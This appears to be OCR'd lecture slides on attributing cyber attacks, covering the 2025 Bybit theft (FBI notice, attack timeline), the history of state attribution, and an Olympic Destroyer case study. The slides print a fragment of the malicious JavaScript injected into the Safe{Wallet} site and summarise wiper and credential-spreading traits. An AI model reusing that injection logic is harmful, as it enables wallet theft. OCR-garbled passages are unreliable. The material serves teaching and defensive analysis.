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Public Service Announcement

FEDERAL BUREAU OF INVESTIGATION

Alert Number: I-022625-PSA
February 26, 2025

North Korea Responsible for $1.5 Billion Bybit Hack

The Federal Bureau of Investigation (FBI) is releasing this PSA to advise the Democratic
People's Republic of Korea (North Korea) was responsible for the theft of approximately
$1.5 billion USD in virtual assets from cryptocurrency exchange, Bybit, on or about
February 21, 2025. FBI refers to this specific North Korean malicious cyber activity as
"TraderTraitor."

TraderTraitor actors are proceeding rapidly and have converted some of the stolen assets
to Bitcoin and other virtual assets dispersed across thousands of addresses on multiple
blockchains. It is expected these assets will be further laundered and eventually
converted to fiat currency.




Timeline

Timestamp (UTC) Event

2025-02-02 01:50:18

Attacker registered getstockprice[.Jcom via Namecheap

2025-02-04 08:55:45

Developer1 compromised

2025-02-05 08:36:51

Attacker first accessed Safe{Wallet} AWS environment

2025-02-05 14:06:25

Attacker unsuccessfully attempted to register their own MFA device

2025-02-05 to
2025-02-17

Attacker reconnaissance in AWS environment

2025-02-17 03:22:44

Attacker command and control activity in AWS environment

2025-02-19 15:29:25

Wayback Machine snapshot with malicious JS code inserted to
Safe{Wallet} website

2025-02-21 14:13:35

Bybit exploit transaction

2025-02-21 14:15:13

Wayback Machine snapshot without malicious JS code in Safe{Wallet}

website

2025-02-21 14:16:11

Bybit heist transaction

https://x.com/safe/status/1897663514975649938
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Further analysis of the injected code identified an activation condition designed to execute only
when the transaction source matched one of two contract addresses: Bybit’'s contract address
and an unidentified contract address, likely associated with the threat actor.

(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[6514],{45485:(e,t A < (self.webpackChunk_N_E:self.webpackChunk_N_E||[]).push([[6514],{45485:(4
let wa=["0x1db92e2eebc8e@c075a02bead9a2935bcd2dfcf4", "Ox19¢6876e978d9f1281.
let ba=["0x828424517f9f04015db021694026d57b2b87229", "@x7c1091cf6f36b0140d
let ta="0x96221423681a6d52e184d440a8efcebbl105¢c7242"; let da="0xa%9059cbboee:
let op=1; let v1=0;

let sa=l.tolLowerCase();

let lu=i.tolLowerCase();

const cf=wa.some(kl => lu.includes(kl));

const cb=ba.some(kl => sa.includes(kl));

if(cf == true && se.data.operation==0){return 218207;}let t=eg(r,e,d?l:voi

query RolesMod($id: String) { query RolesMod($id: String) {
rolesModifier(id: $id) { rolesModifier(id: $id) {
address address
owner owner
avatar avatar
target target
roles(first: 1000) { roles(first: 1000) {
key key
members(first: 1000) { members(first: 1000) {
member { member {
address address
} }

Figure 3: Snippet from BeyondCompare showing a comparison between the JavaScript file extract from Chrome
browsing artifacts and the current version of the file.

Source: BYBIT Interim Investigation Report, Sygnia, Feb 2025
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. Der grol3te Bankraub lief Uber Cyber,
nicht in der physischen Welt.

. Auch Cybervorfalle lassen sich
attributieren.



JR02-2009

& Tracking GhostNet:

Investigating a Cyber Espionage Network

Information Warfare Monitor
March 29, 2009

http://www.infowar-monitor.net/ghostnet
http://www.tracking-ghost.net




~2009: public attribution by research institutions (Ghostnet)
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~2009: public attribution by research institutions (Ghostnet)

~2013: public attribution by private sector entities (APT1)
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~2009: public attribution by research institutions (Ghostnet)

~2013: public attribution by private sector entities (APT1)
2014: unsealed U.S. indictments with APT context (APT1, Unit 61398)

2025

Olympic
Destroyer

Exposing
APT1/Unit 61398

FANCY BEAR
Bundestag

Operation GhostNet Attack against Sony SolarWinds/SUNBURST
Operation Aurora Pictures Entertainment APT29
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\ Office of Public Affairs

Our Offices Find Help Contact Us

U.S. Department of Justice

News

Documents Internships FOIA Contact Information for Journalists

Justice.gov > Office of Public Affairs > News > Press Releases > U.S.Charges Five Chinese Military Hackers For Cyber Espionage
Against U.S. Corporations and a Labor Organization For Commercial Advantage

News

All News

Blogs

Photo Galleries

Podcasts

Press Releases

Speeches

Videos

PRESS RELEASE

U.S. Charges Five Chinese Military
Hackers for Cyber Espionage Against
U.S. Corporations and a Labor
Organization for Commercial
Advantage

Monday, May 19, 2014 For Immediate Release

i ‘ 5 Office of Public Affairs

First Time Criminal Charges Are Filed Against Known State Actors for
Hacking
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~2009: public attribution by research institutions (Ghostnet)

~2013: public attribution by private sector entities (APT1)
2014: unsealed U.S. indictments with APT context (APT1, Unit 61398)

2018: sanctions as response to cyber attribution (SPE)

2025

Olympic
Destroyer

Exposing
APT1/Unit 61398

FANCY BEAR
Bundestag

Operation GhostNet Attack against Sony SolarWinds/SUNBURST
Operation Aurora Pictures Entertainment APT29
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ﬁ U.S. DEPARTMENT OF THE TREASURY

ABOUT TREASURY POLICY ISSUES DATA SERVICES NEWS

HOME -~ NEWS - PRESS RELEASES

NEWS

Press Releases
Statements & Remarks
Readouts

Testimonies

Featured Stories

Webcasts

Press Contacts

PRESS RELEASES

Treasury Targets North Korea for
Multiple Cyber-Attacks

September 6, 2018

WASHINGTON - The U.S. Department of the Treasury’s Office of Foreign Assets Control (OFAC) today
sanctioned one entity and one individual tied to the Government of North Korea’s malign cyber
activities. In a related action, today the U.S. Department of Justice unsealed criminal charges against
the same individual, Park Jin Hyok.

“We will not allow North Korea to undermine global cybersecurity to advance its interests and generate

illicit revenues in violation of our sanctions,” said Treasury Secretary Steven Mnuchin. “The United 16

Ctatec ic committed to holdine the recime accountable for ite evber-attacke and other crimec< and



* The
& Federal Government

On the Application of International Law in Cyberspace
Position Paper” - March 2021

IV. States’ response options

a) Attribution

Attributing a cyber incident is of critical importance as a part of holding States responsible
for wrongful behaviour and for documenting norm violations in cyberspace. It is also a
prerequisite for certain types of responsive action. As regards the attribution of certain acts
to States under international law, Germany applies the relevant customary law rules on

c.&fn rnennne:h";hl ‘,\IQA oy b :n mlknrenann nn e e e L e e

i gAY VAR
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Official Public Political Attribution in Practice
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e 164 official public political attributions
e May 2014 to May 2023
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Source: C. Rupp & A. Paulus, Official Public Political Attribution of Cyber Operations, October 2023, p. 17



~2009: public attribution by research institutions (Ghostnet)

~2013: public attribution by private sector entities (APT1)
2014: unsealed U.S. indictments with APT context (APT1, Unit 61398)
2018: sanctions as response to cyber attribution (SPE)

~2018: national position papers on attribution

2018: MICTIC introduced
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Exposing Olympic

APT1/Unit 61398 Destroyer

FANCY BEAR
Bundestag

Operation GhostNet Attack against Sony SolarWinds/SUNBURST
Operation Aurora Pictures Entertainment APT29
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Case Study
Olympic Destroyer



Olympic Destroyer

e Destructive malware attack targeting Olympic Winter Games 2018
o February 2018 —
o Impacts media broadcasting I I
o  Several outages, esp. on the evening of the opening ceremony

e Technical analysis PyeongChang 2018

o  Wiper malware targeting Windows OQ@

o Collects credentials and reuses them for spreading

e Attribution
o Attributed to Sandworm, GRU Unit 74455
o False flag operation

ARMCHAIR
INVESTIGA
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O Iym plC DeStrOyer (before Rich header inconsistency)

Olympic
Destroyer

|

Cc M: filename similarity evtchk
— T Lazarus e  M: file wiping procedure (0x1000 bytes)

|

Cc

e M: PE Rich header overlap

APT3 M: code overlap with APT3 (Mimikatz-based)

M: code overlap with APT10 (AES key generation)

APT10

o|l=|4|lo|-

M3

M: spreading via legitimate PsExec and WMI

M: named pipe to transmit credentials betw. modules
M: four EternalBlue data structures, although unused
I: domain account-loginserv[.Jcom

Sandworm

O|l—|H|0
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O Iym plC DeStrOyel’ (before Rich header inconsistency)
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OlymplC DeStrOyel’ (after Rich header inconsistency)
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Looking ahead



Looking ahead

System monitoring and introspection

What happens in your Windows/Linux/iPhone
system?
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Looking ahead

Detection engineering How can we detect attacks?

What happens in your Windows/Linux/iPhone

System monitoring and introspection system?
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Looking ahead

Cyber threat intelligence

How do we correlate and attribute attacks?

Detection engineering

How can we detect attacks?

System monitoring and introspection

What happens in your Windows/Linux/iPhone
system?
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